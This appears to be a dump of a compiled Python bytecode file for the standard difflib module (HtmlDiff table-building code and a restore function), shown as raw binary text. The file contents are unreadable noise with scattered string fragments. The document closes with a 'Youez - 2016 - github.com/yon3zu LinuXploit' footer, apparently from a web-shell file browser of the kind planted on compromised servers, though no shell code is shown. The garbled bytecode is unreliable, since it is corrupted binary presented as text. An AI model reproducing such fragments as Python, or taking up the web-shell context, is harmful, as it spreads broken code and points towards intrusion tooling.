tmV,UmP!)zfrom%d_zto%d_)r�_default_prefixr�)r�
fromprefix�toprefixs&  r�_make_prefix�HtmlDiff._make_prefix�s?��
��!9�!9�9�
��X�5�5�5��� � �A�%� �"�,��rc���UO]*oP,[U2*oP,[U2*o]P
q�]o[U2FDSvq�U
%cEU
%f;P	o
So[]V�*
,2oQVi1*V|$U	]*
o	QVi1*V�$JOJQP
o
JU	U%fP
,oP,oP,o]oU%cQ,oSoLQ,9qU]*%f
QU*U]$QU*V�$VV8U1!)rvz id="difflib_chg_%s_%d"z"<a href="#difflib_chg_%s_%d">n</a>z2<td></td><td>&nbsp;No Differences Found&nbsp;</td>z(<td></td><td>&nbsp;Empty File&nbsp;</td>z!<a href="#difflib_chg_%s_0">f</a>z#<a href="#difflib_chg_%s_top">t</a>)r�r5r-rw)rr�r�r�rr�r��next_id�	next_href�num_chg�	in_changerr7r�s&&&&&&        r�_convert_flags�HtmlDiff._convert_flags�s���<�<��?���$�s�8�}�$���D��X��&�	��������)�F�A�� � $�I��D��Q�q�z�N�+�A�!:�h�=O�!O�G�J��q�L�G�&J�!�N+�'+�I�O�!�"�	�!*�$��w�H��d�G���I��D��P�Q��!��%O�$P�P����{�{�>��I�I�a�L�?�8�L�	���x�'�9�9rc���UO2UOV2vqU%cSoLPo[VVpOUOQ5oUO
%cUO
U2oUOU2vq�oUOV�V�U2vq�q�o
,oQo[[U22FDioUU*eU]6�cUOQ2J(J*UOV�U*UU*U	U*UU*U
U*1*2Jk	U%f	U%c QQ8QU*8Q8QU*8Q0oLPoUO[POU2UUO]*Q5*oUO!QQ	2O!Q
Q2O!QQ
2O!QQ2O!QQ2!)Nr�z)        </tbody>        
        <tbody>
z<thead><tr>z!<th class="diff_next"><br /></th>z+<th colspan="2" class="diff_header">%s</th>z
</tr></thead>)�	data_rows�
header_rowr'z+z<span class="diff_add">z-z<span class="diff_sub">z^z<span class="diff_chg">rMz</span>r�r�zV            <tr><td class="diff_next"%s>%s</td>%s<td class="diff_next">%s</td>%s</tr>
)r�r�rwr|r}r{r�r�r�rCr5r/�_table_templater%r�r�ri)rrjrkr�r�rr��
context_linesr�r�r�r�r�r�r��fmtr7r�r�s&&&&&&&            rr��HtmlDiff.make_table�s���(	
����!�5�5�i�H��	��$�M� �M��y����#�~�~�/�������&�&�u�-�E�$(�#6�#6�u�#=� ���6:�5H�5H��H�X�67�2���7�
��7���s�8�}�%�A���{�"��q�5��H�H�J�K�����#���I�a�L��!��+4�Q�<��q�	�!C�C�D�&��v��3�=��H�3�=��F�F�	H�J��J��$�$�t��g�g�a�j�!��<�<��?�($�$��
�}�}�U�#<�=��W�U�#<�=��W�U�#<�=��W�T�)�,��W�T�(�+�		,r)r}r|r�rzr{)r�r�F�)r�r�r�r�r�r�r�r�r�r�rr�r�r�r�r�r�r�r�r�r�r�r�s@rrr�so���� $�N��G�%�O��G��O��4��+�"�"@�8?�@�6!�.5.�n+�8(�*;�4	-�-:�^M,�M,rc#�� �]Q]Q-[U2*oQU1oSFDoUQ*U7fJUQ*w�	J!	P![c[QS*2Pgh9h3h)rvr�r�z)unknown delta choice (must be 1 or 2): %rr�:NrDNrC)�int�KeyErrorr�)�delta�whichrq�prefixesr�s&&   r�restorer�sv���,.��$��4� ��U��,���c�{�H�����8�x���r�(�N���	�.��D�"�#�$�)-�	.�.�s&�A)�A�A)�A)�	A&�A&�&A))rr@r�rrr�r�r(rr>rr)r�g333333�?r)z 	)r�r�r�r�r�r�)rrrrr��
)#�__all__�heapqrr��collectionsr�_namedtuple�typesr�	_colorizer	r
rrrrr�rr�r�rrrr(rr>r@rwr�r�r�r��objectrr�r
rr�<module>r�s���:>��(�1��2��G�Z�(���
k	2�k	2�\0&�f�l!�l!�~	!�*�.	-�K7�=B�K7�d	=�J1�XK�.6�<�(9�#4�J(,�d�%�K�\��")
��V����"b,�v�b,�Jr

Youez - 2016 - github.com/yon3zu
LinuXploit